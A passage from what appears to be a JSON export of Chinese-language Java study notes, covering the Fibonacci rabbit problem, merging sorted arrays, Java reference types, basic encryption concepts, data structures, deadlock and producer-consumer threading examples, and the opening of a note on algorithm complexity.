*古典问题：有一对兔子，从出生后第3个月起每个月都生一对兔子，小兔子长到第四个月后每个月又生一对兔子，假如兔子都不死，\n *问每个月的兔子总数为多少？ \n *\n */\npublic class aa{\n    public static void main(String[] args) {\n        int i = 0;\n        for (i = 1; i < 20; i++) {\n            System.out.println(f(i));\n        }\n    }\n    \n    public static int f(int x) {\n        if(x==1||x==2) {\n            return 1;\n        }else {\n            return f(x-1)+f(x-2);\n        }\n    }\n}\n```\n\n3.有两个有序数组`a`,`b`,现需要将其合并成一个新的有序数组。\n\n简单的思路就是先放到一个新的数组中，再排序。但是这样的没体现任何算法，这里考的不是快速排序等排序算法。关键应该是如何利用`有序` 已知这个条件。可以这样想，假设两个源数组的长度不一样，那么假设其中短的数组用完了，即全部放入到新数组中去了，那么长数组中剩下的那一段就可以直接拿来放入到新数组中去了。\n\n其中用到的思想是:归并排序思想\n\n```java\npublic static int[] merge(int[] a, int[] b) {\n    int lengthA = a.length;\n    int lengthB = b.length;\n    int[] result = new int[lengthA + lengthB];\n\n    //aIndex:用于标示a数组    bIndex：用来标示b数组  resultIndex：用来标示传入的数组\n    int aIndex = 0, bIndex = 0, resultIndex = 0;\n\n    while (aIndex < lengthA && bIndex < lengthB) {\n        if (a[aIndex] < b[bIndex]) {\n            result[resultIndex++] = a[aIndex];\n            aIndex++;\n        } else {\n            result[resultIndex++] = b[bIndex];\n            bIndex++;\n        }\n    }\n\n    // a有剩余\n    while (aIndex < lengthA) {\n        result[resultIndex++] = a[aIndex];\n        aIndex++;\n    }\n\n    // b有剩余\n    while (bIndex < lengthB) {\n        result[resultIndex++] = b[bIndex];\n        bIndex++;\n    }\n    return result;\n}\n````\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/强引用、软引用、弱引用、虚引用.md",
    "content": "强引用、软引用、弱引用、虚引用\n===\n\n- 强引用(Strong Reference)\n    平时我们编程的时候例如：`Object object=new Object()`；那`object`就是一个强引用了。如果一个对象具有强引用，那就类似于必不可少的生活用品，\n\t垃圾回收器绝不会回收它。当内存空 间不足，`Java`虚拟机宁愿抛出`OutOfMemoryError`错误，使程序异常终止，也不会靠随意回收具有强引用的对象来解决内存不足问题。\n\n- 软引用(SoftReference)\n    如果一个对象只具有软引用，那就类似于可有可物的生活用品。如果内存空间足够，垃圾回收器就不会回收它，如果内存空间不足了，就会回收这些对象的内存。\n    只要垃圾回收器没有回收它，该对象就可以被程序使用。**软引用可用来实现内存敏感的高速缓存**。 软引用可以和一个引用队列`(ReferenceQueue)`联合使用，\n    如果软引用所引用的对象被垃圾回收，`Java`虚拟机就会把这个软引用加入到与之关联的引用队列中。\n\n- 弱引用(WeakReference)\n    弱引用是在第二次垃圾回收时回收，短时间内通过弱引用取对应的数据，可以取到，当执行过第二次垃圾回收时，将返回null。\n    弱引用主要用于监控对象是否已经被垃圾回收器标记为即将回收的垃圾，可以通过弱引用的isEnQueued方法返回对象是否被垃圾回收器 \n    弱引用可以和一个引用队列`(ReferenceQueue)`联合使用，如果弱引用所引用的对象被垃圾回收,`Java`虚拟机就会把这个弱引用加入到与之关联的引用队列中。 \n\t\n\n- 虚引用(PhantomReference)   \n    \"虚引用\"顾名思义，就是形同虚设，与其他几种引用都不同，虚引用并不会决定对象的生命周期。如果一个对象仅持有虚引用，\n    那么它就和没有任何引用一样，在 任何时候都可能被垃圾回收。 虚引用主要用来跟踪对象被垃圾回收的活动。虚引用与软引用和弱引用的一个区别在于：\n    虚引用必须和引用队列 `(ReferenceQueue)`联合使用。当垃圾回收器准备回收一个对象时，如果发现它还有虚引用，就会在回收对象的内存之前，\n    把这个虚引用加入到与之 关联的引用队列中。程序可以通过判断引用队列中是否已经加入了虚引用，来了解被引用的对象是否将要被垃圾回收。\n    程序如果发现某个虚引用已经被加入到引用队列，那么就可以在所引用的对象的内存被回收之前采取必要的行动。 虚引用是每次垃圾回收的时候都会被回收，通过虚引用的get方法永远获取到的数据为null，因此也被成为幽灵引用。\n    虚引用是每次垃圾回收的时候都会被回收，通过虚引用的get方法永远获取到的数据为null，因此也被成为幽灵引用。\n    虚引用主要用于检测对象是否已经从内存中删除。\n    \n\t\n有关弱引用以及软引用再分析一下:\n我们都知道垃圾回收器会回收符合回收条件的对象的内存，但并不是所有的程序员都知道回收条件取决于指向该对象的引用类型。这正是`Java`中弱引用和软引用的主要区别。\n如果一个对象只有弱引用指向它，垃圾回收器会立即回收该对象，这是一种急切回收方式。相对的，如果有软引用指向这些对象，则只有在`JVM`需要内存时才回收这些对象。\n弱引用和软引用的特殊行为使得它们在某些情况下非常有用。例如：软引用可以很好的用来实现缓存，当`JVM`需要内存时，垃圾回收器就会回收这些只有被软引用指向的对象。\n而弱引用非常适合存储元数据，例如：存储`ClassLoader`引用。如果没有类被加载，那么也没有指向`ClassLoader`的引用。一旦上一次的强引用被去除，\n只有弱引用的`ClassLoader`就会被回收。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/数据加密及解密.md",
    "content": "数据加密及解密\n===\n\n加密`incode`：对明文(`plaintext`可读懂的信息)进行翻译，使用不同的算法对明文以代码形式(密码)实施加密转换成密文(`ciphertext`)。\n该过程的逆过程称为解密(`descode`)，即将该编码信息转化为明文的过程。\n\n对称加密(`Symmetric Cryptography`)\n---\n\n对称加密是最快速、最简单的一种加密方式，加密(`encryption`与解密(`decryption`)用的是同样的密钥(`secret key`),\n这种方法在密码学中叫做对称加密算法。\n对称加密有很多种算法，由于它效率很高，所以被广泛使用在很多加密协议的核心当中。\n对称加密通常使用的是相对较小的密钥，一般小于256`bit`。因为密钥越大，加密越强，但加密与解密的过程越慢。\n如果你只用1`bit`来做这个密钥，那黑客们可以先试着用0来解密，不行的话就再用1解；\n但如果你的密钥有1`MB`大，黑客们可能永远也无法破解，但加密和解密的过程要花费很长的时间。\n密钥的大小既要照顾到安全性，也要照顾到效率，是一个`trade-off`。\n\n\n\n对称加密算法介绍:  \n\n- DES\n\n`DES`全称为`Data Encryption Standard`,即数据加密标准，是一种使用密钥加密的块算法，\n1976年被美国联邦政府的国家标准局确定为联邦资料处理标准(`FIPS`)，随后在国际上广泛流传开来。\n\n`DES`算法的入口参数有三个:`Key`、`Data`、`Mode`。其中`Key`为8个字节共64位,是`DES`算法的工作密钥;`Data`也为8个字节64位,\n是要被加密或被解密的数据;`Mode`为`DES`的工作方式,有两种:加密或解密。 \n`DES`算法把64位的明文输入块变为64位的密文输出块,它所使用的密钥也是64位。 \n\n\n\n- AES\n`AES`全程为`Advanced Encryption Standard`,即高级加密标准，在密码学中又称`Rijndael`加密法，\n是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的`DES`，已经被多方分析且广为全世界所使用。\n`AES`加密数据块分组长度必须为128比特，密钥长度可以是128比特、192比特、256比特中的任意一个（如果数据块及密钥长度不足时，会补齐）\n\n\n\n非对称加密(`Asymmetric Cryptography`)\n---\n\n1976年，美国学者`Dime`和`Henman`为解决信息公开传送和密钥管理问题，提出一种新的密钥交换协议，允许在不安全的媒体上的通讯双方交换信息，\n安全地达成一致的密钥，这就是“公开密钥系统”。相对于“对称加密算法”这种方法也叫做“非对称加密算法”。\n非对称加密为数据的加密与解密提供了一个非常安全的方法，它使用了一对密钥，公钥(`public key`)和私钥(`private key`)。\n私钥只能由一方安全保管，不能外泄，而公钥则可以发给任何请求它的人。非对称加密使用这对密钥中的一个进行加密，而解密则需要另一个密钥。\n比如，你向银行请求公钥，银行将公钥发给你，你使用公钥对消息加密，那么只有私钥的持有人--银行才能对你的消息解密。\n与对称加密不同的是，银行不需要将私钥通过网络发送出去，因此安全性大大提高。\n目前最常用的非对称加密算法是`RSA`算法，是`Rivest`, `Shamir`和`Adleman`于1978年发明。\n\n虽然非对称加密很安全，但是和对称加密比起来，它非常的慢，所以我们还是要用对称加密来传送消息，\n但对称加密所使用的密钥我们可以通过非对称加密的方式发送出去。\n\n\n总结\n---\n\n- 对称加密加密与解密使用的是同样的密钥，所以速度快，但由于需要将密钥在网络传输，所以安全性不高。\n- 非对称加密使用了一对密钥，公钥与私钥，所以安全性高，但加密与解密速度慢。\n- 解决的办法是将对称加密的密钥使用非对称加密的公钥进行加密，然后发送出去，接收方使用私钥进行解密得到对称加密的密钥，\n然后双方可以使用对称加密来进行沟通。\n\t\t\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/数据结构.md",
    "content": "数据结构\n===\n\n常见的数据结构:    \n\n- 数组`(Array)`\n- 栈`(Stack)`\n- 队列`(Queue)`\n- 链表`(LinkedList)`\n- 树`(Tree)`\n- 哈希表`(Hash)`\n- 堆`(Heap)`\n- 图`(Graph)`\n\n\n数组`(Array)`\n---\n\n数组是一种大小固定的数据结构，对线性表的所有操作都可以通过数组来实现。数组是在内存中开辟一段连续的空间，并在此空间存放元素。就像是一排出租屋，有100个房间，从001到100每个房间都有固定编号，通过编号就可以快速找到租房子的人。虽然数组一旦创建之后，它的大小就无法改变了，但是当数组不能再存储线性表中的新元素时，我们可以创建一个新的大的数组来替换当前数组。这样就可以使用数组实现动态的数据结构。\n\n```java\nint[] arr = new int[10];\n```\n\n数组是最常用的数据结构了。这里就不说了。\n\n优点:    \n\n- 可以通过下标来访问或者修改元素，比较高效\n\n缺点:    \n\n- 增删慢，插入和删除的花费开销比较大，比如当在第一个位置前插入一个元素，那么首先要把所有的元素往后移动一个位置\n- 大小固定，只能存储单一元素，\n\n\n\n栈`(Stack)`\n---\n\n\n> The Stack class represents a last-in-first-out (LIFO) stack of objects. It extends class Vector with five operations that allow a vector to be treated as a stack. The usual push and pop operations are provided, as well as a method to peek at the top item on the stack, a method to test for whether the stack is empty, and a method to search the stack for an item and discover how far it is from the top.\nWhen a stack is first created, it contains no items.\n\n栈是限制插入和删除只能在一个位置上进行的表，该位置是表的末端，叫作栈顶，数据称为压栈，移除数据称为弹栈(就像子弹弹夹装弹和取弹一样)。\n对栈的基本操作有`push`(进栈)和`pop`(出栈)，前者相当于插入，后者相当于删除最后一个元素。栈有时又叫作`LIFO(Last In First Out)`表，\n即后进先出。简单暴力的理解就是吃进去吐出来\n\n优点:   \n\n- 提供了先进后出的存取方式  \n\n缺点:   \n\n- 存取其他项很慢\n\n\n队列`(Queue)`\n---\n\n\n队列是一种特殊的线性表，特殊之处在于它只允许在表的前端`(front)`进行删除操作，而在表的后端`(rear)`进行插入操作，和栈一样，队列是一种操作受限制的线性表。进行插入操作的端称为队尾，进行删除操作的端称为队头。先进先出，简单暴力的理解就是吃进去拉出来   \n\n\n优点:    \n\n- 提供了先进先出的存取方式   \n\n缺点:    \n\n- 存取其他项很慢   \n\n\n\n\n\n\n\n链表`(LinkedList)`\n---\n\n链表是一种物理存储单元上非连续、非顺序的存储结构，数据元素的逻辑顺序是通过链表中的指针链接次序实现的。\n链表由一系列结点（链表中每一个元素称为结点）组成，结点可以在运行时动态生成。\n每个结点包括两个部分：一个是存储数据元素的数据域，另一个是存储下一个结点地址的指针域。 相比于线性表顺序结构，链表比较方便插入和删除操作。\n\n用一组地址任意的存储单元存放线性表中的数据元素。以元素(数据元素的映象)+指针(指示后继元素存储位置) = 结点。\n以“结点的序列”表示线性表,称作线性链表（单链表）。单链表是一种顺序存取的结构，为找第`i`个数据元素，必须先找到第`i-1`个数据元素。 \n\n链表的结点结构:    \n```\n         ┌──┬──┐──┐\n         │data│next│\n         └──┴──┘──┘\n```         \n`data`域:存放结点值的数据域 　　 \n`next`域:存放结点的直接后继的地址（位置）的指针域（链域）。\n\n注意:    \n\n- 链表通过每个结点的链域将线性表的n个结点按其逻辑顺序链接在一起的。 　　\n- 每个结点只有一个链域的链表称为单链表`(Single Linked List)`\n\n所谓的链表就好像火车车厢一样，从火车头开始，每一节车厢之后都连着后一节车厢。\n\n优点:   \n\n- 和数组相比，链表的优势在于长度不受限制，也不需要连续的内存空间。\n- 在进行插入和删除操作时，不需要移动数据项，故尽管某些操作的时间复杂度与数组想同，实际效率上还是比数组要高很多,所以插入快，删除快\n\n缺点:   \n\n- 劣势在于随机访问，无法像数组那样直接通过下标找到特定的数据项 \n- 查找慢\n- 相对数组只存储元素，链表的元素还要存储其他元素地址，内存开销相对增大\n\n\n树`(Tree)`\n---\n\n\n树是由`n（n>=1）`个有限节点组成一个具有层次关系的集合。       \n它具有以下特点:每个节点有零个或多个子节点；没有父节点的节点称为根节点；每一个非根节点有且只有一个父节点；除了根节点外，每个子节点可以分为多个不相交的子树。\n\n\n\n#### 二叉树\n\n二叉树`(binary tree)`是一棵树，每一个节点都不能有多于两个的子节点。   \n通常子树被称作“左子树”和“右子树”。二叉树常被用于实现二叉查找树和二叉堆。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/binary_tree.jpg?raw=true)\n\n\n#### 满二叉树和完全二叉树\n\n满二叉树:除最后一层无任何子节点外，每一层上的所有结点都有两个子结点。也可以这样理解，除叶子结点外的所有结点均有两个子结点。节点数达到最大值，所有叶子结点必须在同一层上。\n\n完全二叉树:若设二叉树的深度为`h`，除第`h`层外，其它各层`(1～(h-1))`层的结点数都达到最大个数，第h层所有的结点都连续集中在最左边，这就是完全二叉树。\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/wanquan_binary_tree.jpg?raw=true)\n\n\n完全二叉树是效率很高的数据结构，堆是一种完全二叉树或者近似完全二叉树，所以效率极高，像十分常用的排序算法、Dijkstra算法、Prim算法等都要用堆才能优化，二叉排序树的效率也要借助平衡性来提高，而平衡性基于完全二叉树。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/man_binary_tree.png?raw=true)\n\n\n\n我们知道一颗基本的二叉排序树他们都需要满足一个基本性质：即树中的任何节点的值大于它的左子节点，且小于它的右子节点。\n\n按照这个基本性质使得树的检索效率大大提高。我们知道在生成二叉排序树的过程是非常容易失衡的，最坏的情况就是一边倒（只有右/左子树），这样势必会导致二叉树的检索效率大大降低`(O(n))`，所以为了维持二叉排序树的平衡，大牛们提出了各种平衡二叉树的实现算法，在平衡二叉搜索树中，其高度一般都良好地维持在`O(log2n)`，大大降低了操作的时间复杂度。如：`AVL`，`SBT`，伸展树，`TREAP` ，红黑树等等。\n\n\n#### 平衡二叉树       \n\n平衡二叉树必须具备如下特性：它是一棵空树或它的左右两个子树的高度差的绝对值不超过1，并且左右两个子树都是一棵平衡二叉树。也就是说该二叉树的任何一个子节点，其左右子树的高度都相近。下面给出平衡二叉树的示意图：\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/pingheng_binary_tree.jpg?raw=true)\n\n\n\n#### 红黑树\n\n红黑树顾名思义就是结点是红色或者是黑色的平衡二叉树，它通过颜色的约束来维持着二叉树的平衡。红黑树是一种自平衡二叉查找树，是在计算机科学中用到的一种数据结构，典型的用途是实现关联数组。它是在1972年由`Rudolf Bayer`发明的，他称之为\"对称二叉B树\"，它现代的名字是在`Leo J. Guibas`和`Robert Sedgewick`于1978年写的一篇论文中获得的。它是复杂的，但它的操作有着良好的最坏情况运行时间，并且在实践中是高效的: 它可以在`O(log n)`时间内做查找，插入和删除，这里的`n`是树中元素的数目。\n\n对于一棵有效的红黑树而言我们必须增加如下规则，这也是红黑树最重要的5点规则:      \n\n- 每个结点都只能是红色或者黑色中的一种。 \n- 根结点是黑色的。 \n- 每个叶结点（NIL节点，空节点）是黑色的。 \n- 如果一个结点是红的，则它两个子节点都是黑的。也就是说在一条路径上不能出现相邻的两个红色结点。 \n- 从任一结点到其每个叶子的所有路径都包含相同数目的黑色结\n\n这些约束强制了红黑树的关键性质: 从根到叶子最长的可能路径不多于最短的可能路径的两倍长。结果是这棵树大致上是平衡的。\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/hongheishu.jpg?raw=true)\n\n黑红树节点的`java`表示结构:   \n\n```java\nprivate static final boolean RED = true;\nprivate static final boolean BLACK = false;\nprivate Node root;//二叉查找树的根节点\n\n//结点数据结构\nprivate class Node{\n    private Key key;//键\n    private Value value;//值\n    private Node left, right;//指向子树的链接:左子树和右子树.\n    private int N;//以该节点为根的子树中的结点总数\n    boolean color;//由其父结点指向它的链接的颜色也就是结点颜色.\n\n    public Node(Key key, Value value, int N, boolean color) {\n        this.key = key;\n        this.value = value;\n        this.N = N;\n        this.color = color;\n    }\n}\n\n/**\n * 获取整个二叉查找树的大小\n * @return\n */\npublic int size(){\n    return size(root);\n}\n/**\n * 获取某一个结点为根结点的二叉查找树的大小\n * @param x\n * @return\n */\nprivate int size(Node x){\n    if(x == null){\n        return 0;\n    } else {\n        return x.N;\n    }\n}\nprivate boolean isRed(Node x){\n    if(x == null){\n        return false;\n    }\n    return x.color == RED;\n}\n```\n\n哈希表`(Hash)`\n---\n\n哈希表就是一种以 键-值`(key-indexed)`存储数据的结构，我们只要输入待查找的值即`key`，即可查找到其对应的值。\n\n优点:   \n\n- 如果关键字已知则存取极快\n- 插入、查找、删除的时间级为`O(1)`\n- 数据项占哈希表长的一半，或者三分之二时，哈希表的性能最好。\n\n缺点:    \n\n- 删除慢，如果不知道关键字存取慢，对存储空间使用不充分   \n- 基于数组，数组创建后难于扩展，某些哈希表被基本填满时性能下降的非常严重；\n- 没有一种简单的方法可以以任何一种顺序（如从小到大）遍历整个数据项；\n\n堆`(Heap)`\n---\n\n这里所说的堆是数据结构中的堆，而不是内存模型中的堆。堆通常是一个可以被看做一棵树，它满足下列性质:   \n\n- 堆中任意节点的值总是不大于(不小于)其子节点的值；\n- 堆是完全二叉树\n- 常常用数组实现\n\n\n![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/heap_1.png?raw=true)\n\n二叉堆是完全二元树或者是近似完全二元树，它分为两种：最大堆和最小堆。 \n最大堆：父结点的键值总是大于或等于任何一个子节点的键值；最小堆：父结点的键值总是小于或等于任何一个子节点的键值。\n\n\n优点:     \n\n- 插入、删除快，对最大数据项存取快  \n\n缺点:    \n\n- 对其他数据项存取慢   \n\n\n图`(Graph)`\n---\n\n\n图是一种较线性表和树更为复杂的数据结构，在线性表中，数据元素之间仅有线性关系，在树形结构中，数据元素之间有着明显的层次关系，而在图形结构中，节点之间的关系可以是任意的，图中任意两个数据元素之间都可能相关。图的应用相当广泛，特别是近年来的迅速发展，已经渗入到诸如语言学、逻辑学、物理、化学、电讯工程、计算机科学以及数学的其他分支中。\n\n\n优点:   \n\n- 对现实世界建模   \n\n缺点:    \n\n- 有些算法慢且复杂\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n\t\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/死锁.md",
    "content": "死锁\n===\n\n```java\n/**\n * 死锁的原因就是同步的嵌套\n */\npublic class DeadLockTest {\n\tpublic static void main(String[] args) {\n\t\tThread t1 = new Thread(new PrintRunnable(true));\n\t\tThread t2 = new Thread(new PrintRunnable(false));\n\t\tt1.start();\n\t\tt2.start();\n\t}\n}\n\nclass MyLock {\n\tstatic Object locka = new Object();\n\tstatic Object lockb = new Object();\n}\n\nclass PrintRunnable implements Runnable {\n\tprivate boolean flag;\n\n\tPrintRunnable(boolean flag) {\n\t\tthis.flag = flag;\n\t}\n\n\tpublic void run() {\n\t\tif (flag) {\n\t\t\twhile (true) {\n\t\t\t\tsynchronized (MyLock.locka) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()\n\t\t\t\t\t\t\t+ \"...if locka \");\n\t\t\t\t\tsynchronized (MyLock.lockb) {\n\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()\n\t\t\t\t\t\t\t\t+ \"..if lockb\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\twhile (true) {\n\t\t\t\tsynchronized (MyLock.lockb) {\n\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()\n\t\t\t\t\t\t\t+ \"..else lockb\");\n\t\t\t\t\tsynchronized (MyLock.locka) {\n\t\t\t\t\t\tSystem.out.println(Thread.currentThread().getName()\n\t\t\t\t\t\t\t\t+ \".....else locka\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/生产者消费者.md",
    "content": "生产者消费者\n===\n\n```java\npublic class ProducerConsumerDemo {\n\tpublic static void main(String[] args) {\n\t\tResource r = new Resource();\n\n\t\tProducer pro = new Producer(r);\n\t\tConsumer con = new Consumer(r);\n\n\t\tThread t1 = new Thread(pro);\n\t\tThread t2 = new Thread(pro);\n\t\tThread t3 = new Thread(con);\n\t\tThread t4 = new Thread(con);\n\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();\n\t\tt4.start();\n\t}\n}\n\n/*\n * 对于多个生产者和消费者。 为什么要定义while判断标记。 原因：让被唤醒的线程再一次判断标记。 为什么定义notifyAll， 因为需要唤醒对方线程。\n * 因为只用notify，容易出现只唤醒本方线程的情况。导致程序中的所有线程都等待。\n */\nclass Resource {\n\tprivate String name;\n\tprivate int count = 1;\n\tprivate boolean flag = false;\n\n\t/*\n\t * 生产商品\n\t */\n\tpublic synchronized void set(String name) {\n\t\twhile (flag)\n\t\t\ttry {\n\t\t\t\tthis.wait();\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\tthis.name = name + \"--\" + count++;\n\n\t\tSystem.out.println(Thread.currentThread().getName() + \"...生产者..\"\n\t\t\t\t+ this.name);\n\t\tflag = true;\n\t\tthis.notifyAll();\n\t}\n\n\t/*\n\t * 消费商品\n\t */\n\tpublic synchronized void out() {\n\t\twhile (!flag)\n\t\t\ttry {\n\t\t\t\twait();\n\t\t\t} catch (Exception e) {\n\t\t\t}\n\t\tSystem.out.println(Thread.currentThread().getName() + \"...消费者.........\"\n\t\t\t\t+ this.name);\n\t\tflag = false;\n\t\tthis.notifyAll();\n\t}\n}\n\nclass Producer implements Runnable {\n\tprivate Resource res;\n\n\tProducer(Resource res) {\n\t\tthis.res = res;\n\t}\n\n\tpublic void run() {\n\t\twhile (true) {\n\t\t\tres.set(\"+商品+\");\n\t\t}\n\t}\n}\n\nclass Consumer implements Runnable {\n\tprivate Resource res;\n\n\tConsumer(Resource res) {\n\t\tthis.res = res;\n\t}\n\n\tpublic void run() {\n\t\twhile (true) {\n\t\t\tres.out();\n\t\t}\n\t}\n}\n\n```\nJDK1.5 中提供了多线程升级解决方案。 将同步Synchronized替换成现实Lock操作。   \n将Object中的wait，notify notifyAll，替换了Condition对象。 该对象可以Lock锁 进行获取。 该示例中，实现了本方只唤醒对方操作。     \nLock:替代了Synchronized lock unlock newCondition()       \nCondition：替代了Object wait notify notifyAll await(); signal(); signalAll();\n\n```java\nimport java.util.concurrent.locks.*;\n\npublic class ProducerConsumerDemo2 {\n\tpublic static void main(String[] args) {\n\t\tResource r = new Resource();\n\n\t\tProducer pro = new Producer(r);\n\t\tConsumer con = new Consumer(r);\n\n\t\tThread t1 = new Thread(pro);\n\t\tThread t2 = new Thread(pro);\n\t\tThread t3 = new Thread(con);\n\t\tThread t4 = new Thread(con);\n\n\t\tt1.start();\n\t\tt2.start();\n\t\tt3.start();\n\t\tt4.start();\n\t}\n}\n\nclass Resource {\n\tprivate String name;\n\tprivate int count = 1;\n\tprivate boolean flag = false;\n\t\n\tprivate Lock lock = new ReentrantLock();\n\n\tprivate Condition condition_pro = lock.newCondition();\n\tprivate Condition condition_con = lock.newCondition();\n\n\tpublic void set(String name) throws InterruptedException {\n\t\tlock.lock();\n\t\ttry {\n\t\t\twhile (flag)\n\t\t\t\tcondition_pro.await();// t1,t2\n\t\t\tthis.name = name + \"--\" + count++;\n\n\t\t\tSystem.out.println(Thread.currentThread().getName() + \"...生产者..\"\n\t\t\t\t\t+ this.name);\n\t\t\tflag = true;\n\t\t\tcondition_con.signal();\n\t\t} finally {\n\t\t\tlock.unlock();// 释放锁的动作一定要执行。\n\t\t}\n\t}\n\n\t// t3 t4\n\tpublic void out() throws InterruptedException {\n\t\tlock.lock();\n\t\ttry {\n\t\t\twhile (!flag)\n\t\t\t\tcondition_con.await();\n\t\t\tSystem.out.println(Thread.currentThread().getName()\n\t\t\t\t\t+ \"...消费者.........\" + this.name);\n\t\t\tflag = false;\n\t\t\tcondition_pro.signal();\n\t\t} finally {\n\t\t\tlock.unlock();\n\t\t}\n\n\t}\n}\n\nclass Producer implements Runnable {\n\tprivate Resource res;\n\n\tProducer(Resource res) {\n\t\tthis.res = res;\n\t}\n\n\tpublic void run() {\n\t\twhile (true) {\n\t\t\ttry {\n\t\t\t\tres.set(\"+商品+\");\n\t\t\t} catch (InterruptedException e) {\n\t\t\t}\n\n\t\t}\n\t}\n}\n\nclass Consumer implements Runnable {\n\tprivate Resource res;\n\n\tConsumer(Resource res) {\n\t\tthis.res = res;\n\t}\n\n\tpublic void run() {\n\t\twhile (true) {\n\t\t\ttry {\n\t\t\t\tres.out();\n\t\t\t} catch (InterruptedException e) {\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/JavaKnowledge/算法的复杂度.md",
    "content": "算法的复杂度\n===\n\n\n何为算法\n---\n\n算法是对特定问题求解步骤的一种描述，是独立存在的一种解决问题的方法和思想。它是指令的有限序列，其中每一条指令表示一个或多个操作；\n\n此外，成为一个算法需要满足以下条件或特性:    \n\n- 有穷性。一个算法必须总是在执行有穷步之后结束，且每一步都可在有穷时间内完成。\n- 确定性。算法中每一条指令必须有确切的含义读者理解时不会产生二义性。并且，在任何条件下，算法只有唯一的一条执行路径，即对于相同的输入只能得出相同的输出。\n- 可行性。一个算法是能行的，即算法中描述的操作都是可以通过已经实现的基本运算执行有限次来实现的。\n- 输入。零个或多个的输入。\n- 输出。一个或多个的输出。\n\n\n算法的设计要求\n---\n\n通常设计一个好的算法应考虑达到以下目标:    \n\n- 正确性:对于合法输入能够得到满足的结果；算法能够处理非法处理，并得到合理结果；算法对于边界数据和压力数据都能得到满足的结果。\n- 可读性。算法要方便阅读，理解和交流，只有自己能看得懂，其它人都看不懂，谈和好算法。\n- 健壮性。算法不应该产生莫名其妙的结果，一会儿正确，一会儿又是其它结果。\n- 高性价比，效率与低存储量需求。利用最少的时间和资源得到满足要求的结果，可以通过(时间复杂度和空间复杂度来判定)\n\n\n\n算法复杂度分为:   \n\n- 时间复杂度:指执行算法所需要的计算工作量\n- 空间复杂度:指执行这个算法所需要的内存空间\n\n简单来说，时间复杂度指的是语句执行次数，空间复杂度指的是算法所占的存储空间。 \n\n\n时间复杂度\n---\n\n什么是时间复杂度，算法中某个函数有n次基本操作重复执行，用T(n)表示，现在有某个辅助函数f(n),使得当n趋近于无穷大时，T（n)/f(n)的极限值为不等于零的常数，则称f(n)是T(n)的同数量级函数。记作T(n)=O(f(n)),称O(f(n)) 为算法的渐进时间复杂度，简称时间复杂度。通俗一点讲，其实所谓的时间复杂度，就是找了一个同样曲线类型的函数f(n)来表示这个算法的在n不断变大时的趋势 。当输入量n逐渐加大时，时间复杂性的极限情形称为算法的“渐近时间复杂性”。 \n\n- 时间频度        \n\n    一个算法执行所耗费的时间，从理论上是不能算出来的，必须上机运行测试才能知道。但我们不可能也没有必要对每个算法都上机测试，只需知道哪个算法花费的时间多，哪个算法花费的时间少就可以了。并且一个算法花费的时间与算法中语句的执行次数成正比例，哪个算法中语句执行次数多，它花费时间就多。一个算法中的语句执行次数称为语句频度或时间频度。记为`T(n)`。（算法中的基本操作一般指算法中最深层循环内的语句）\n\n- 时间复杂度      \n\n    在刚才提到的时间频度中，`n`称为问题的规模，当`n`不断变化时，时间频度`T(n)`也会不断变化。但有时我们想知道它变化时呈现什么规律。为此，我们引入时间复杂度的概念。\n    \n    \n在进行算法分析时，语句总的执行次数`T(n)`是关于问题规模`n`的函数，进而分析`T(n)`随`n`的变化情况并确定`T(n)`的数量级。\n算法的时间复杂度，也就是算法的时间量度，记作`T(n) = O(f(n))`。它表示随问题规模`n`的增大，算法执行时间的增长率和`f(n)`的增长率相同，\n称为算法的渐近时间复杂度，简称为时间复杂度。其中`f(n)`是规模`n`的某个函数。\n\n\n大`O`表示法\n---\n\n像前面用`O()`来体现算法时间复杂度的记法，我们称之为大O表示法。用`O()`来体现算法时间复杂度的记法，叫作大`O`记法。\n\n\n按数量级递增排列，常见的时间复杂度有:   \n常数阶`O(1)`,对数阶`O(log2n)`(以2为底`n`的对数，下同),线性阶`O(n)`,\n线性对数阶`O(nlog2n)`,平方阶`O(n^2)`，立方阶`O(n^3)`,...，\n`k`次方阶`O(n^k)`,指数阶`O(2^n)`。随着问题规模`n`的不断增大，上述时间复杂度不断增大，算法的执行效率越低。\n\n\n##### 推导大`O`阶方法\n\n- 用常数1取代运行时间中的所有加法常数。\n- 在修改后的运行次数函数中，只保留最高阶项。\n- 如果最高阶项存在且不是1，则去除与这个项相乘的常数。\n\n\n##### 常数阶\n\n`O(1)`的算法是一些运算次数为常数的算法。例如:\n```java\ntemp=a;a=b;b=temp;\n```\n\n上面语句共三条操作，单条操作的频度为1，即使他有成千上万条操作，也只是个较大常数，这一类的时间复杂度为`O(1)`。\n\n##### 线性阶\n\n`O(n)`的算法是一些线性算法。例如:  \n```java\nsum=0；                 \nfor(i=0;i<n;i++) {\n    